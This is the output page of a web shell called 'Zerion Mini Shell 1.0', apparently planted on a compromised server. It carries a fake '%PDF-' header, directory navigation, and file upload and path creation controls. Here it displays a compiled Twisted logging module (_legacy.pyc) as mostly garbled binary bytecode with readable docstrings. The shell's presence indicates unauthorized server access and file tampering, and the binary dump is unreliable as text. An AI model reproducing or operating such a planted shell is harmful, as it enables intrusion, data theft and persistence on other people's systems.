%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/logger/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/logger/__pycache__/_legacy.cpython-312.pyc

�

Ϫ�fy�	���dZddlmZmZmZmZmZddlmZddl	m
Z
ddlmZm
Z
ddlmZddlmZmZerdd	lmZee�Gd
�d��Zded
eeefdeeeefgeefddfd�Zy)z)
Integration with L{twisted.python.log}.
�)�
TYPE_CHECKING�Any�Callable�Dict�Optional)�implementer�)�formatEvent)�ILogObserver�LogEvent)�LogLevel)�StringifiableFromEvent�fromStdlibLogLevelMapping)rc�4�eZdZdZdd�Zdefd�Zdeddfd�Zy)	�LegacyLogObserverWrapperz�
    L{ILogObserver} that wraps a L{twisted.python.log.ILogObserver}.

    Received (new-style) events are modified prior to forwarding to
    the legacy observer to ensure compatibility with observers that
    expect legacy events.
    �returnNc��||_y)zr
        @param legacyObserver: a legacy observer to which this observer will
            forward events.
        N)�legacyObserver)�selfrs  �8/usr/lib/python3/dist-packages/twisted/logger/_legacy.py�__init__z!LegacyLogObserverWrapper.__init__ s��
-���c�&�dj|��S)Nz0{self.__class__.__name__}({self.legacyObserver})�r)�formatrs r�__repr__z!LegacyLogObserverWrapper.__repr__'s��A�H�H�d�H�S�Sr�eventc���d|vrd|d<d|vr|d|d<d|vr|jdd�|d<d|vrK|jd	d
��9d|d<t|j��|d<t|dt�sd|d<d
|vr(d|vr|d
|d<d|vrd|d<d|vrCt|�|d<n4d|vr0|dtjtjfvrd|d<nd|d<|j|�y
)z�
        Forward events to the legacy observer after editing them to
        ensure compatibility.

        @param event: an event
        �message��time�log_time�system�
log_system�-r�
log_formatNz%(log_legacy)s�
log_legacy�log_failure�failure�isErrorr	�why�	log_levelr)
�getr�copy�
isinstance�tupler
r
�error�criticalr)rrs  r�__call__z!LegacyLogObserverWrapper.__call__*s,���E�!�!�E�)�����!�*�-�E�&�M��5� �#�i�i��c�:�E�(�O��5� �U�Y�Y�|�T�%B�%N�/�E�(�O�"8�����"F�E�,���e�I�.��6�#%��i� ��E�!���%�#(��#7��i� ���%�#$��i� ��E�!�*�5�1��e��
�e�
#��[�!�h�n�n�h�6G�6G�%H�H�#$��i� �#$��i� ����E�"r)r�ILegacyLogObserverrN)	�__name__�
__module__�__qualname__�__doc__r�strrrr3r rrrrs-���-�T�#�T�0#�h�0#�4�0#rr�observer�	eventDict�textFromEventDictrNc�`�d|vr|d|d<d|vr||�}|�
||d<d|d<d|vrTd|vr	t|d}n;d	|vr'|d	rtj}n!tj}ntj}|�||d<d
|vrd|d
<d|vrd
|vr|d
|d<||�y#t$rd}Y�6wxYw)a"
    Publish an old-style (L{twisted.python.log}) event to a new-style
    (L{twisted.logger}) observer.

    @note: It's possible that a new-style event was sent to a
        L{LegacyLogObserverWrapper}, and may now be getting sent back to a
        new-style observer.  In this case, it's already a new-style event,
        adapted to also look like an old-style event, and we don't need to
        tweak it again to be a new-style event, hence this checks for
        already-defined new-style keys.

    @param observer: A new-style observer to handle this event.
    @param eventDict: An L{old-style <twisted.python.log>}, log event.
    @param textFromEventDict: callable that can format an old-style event as a
        string.  Passed here rather than imported to avoid circular dependency.
    r"r!r&N�log_textz
{log_text}r,�logLevelr*�
log_namespacer'r$r#)r�KeyErrorr
r2�info)r:r;r<�text�levels     r�publishToNewObserverrE]s���,��"� )�&� 1�	�*���9�$� ��+����$(�I�j�!�&2�I�l�#��)�#���"�
�1�)�J�2G�H���)�
#���#� �)�)�� �
�
���M�M�E���%*�I�k�"��i�'�%1�	�/�"��9�$��Y�)>�"+�H�"5�	�,���Y���'�
���
�s�B�B-�,B-)r8�typingrrrrr�zope.interfacer�_formatr
�_interfacesrr�_levelsr
�_stdlibrr�twisted.python.logr4rr9rEr rr�<module>rMs���
�@�?�&� �/��F��E�
�\��C#�C#��C#�L6��6��C��H�~�6� ��c�3�h�� 0�(�3�-� ?�@�6�
�	6r

Zerion Mini Shell 1.0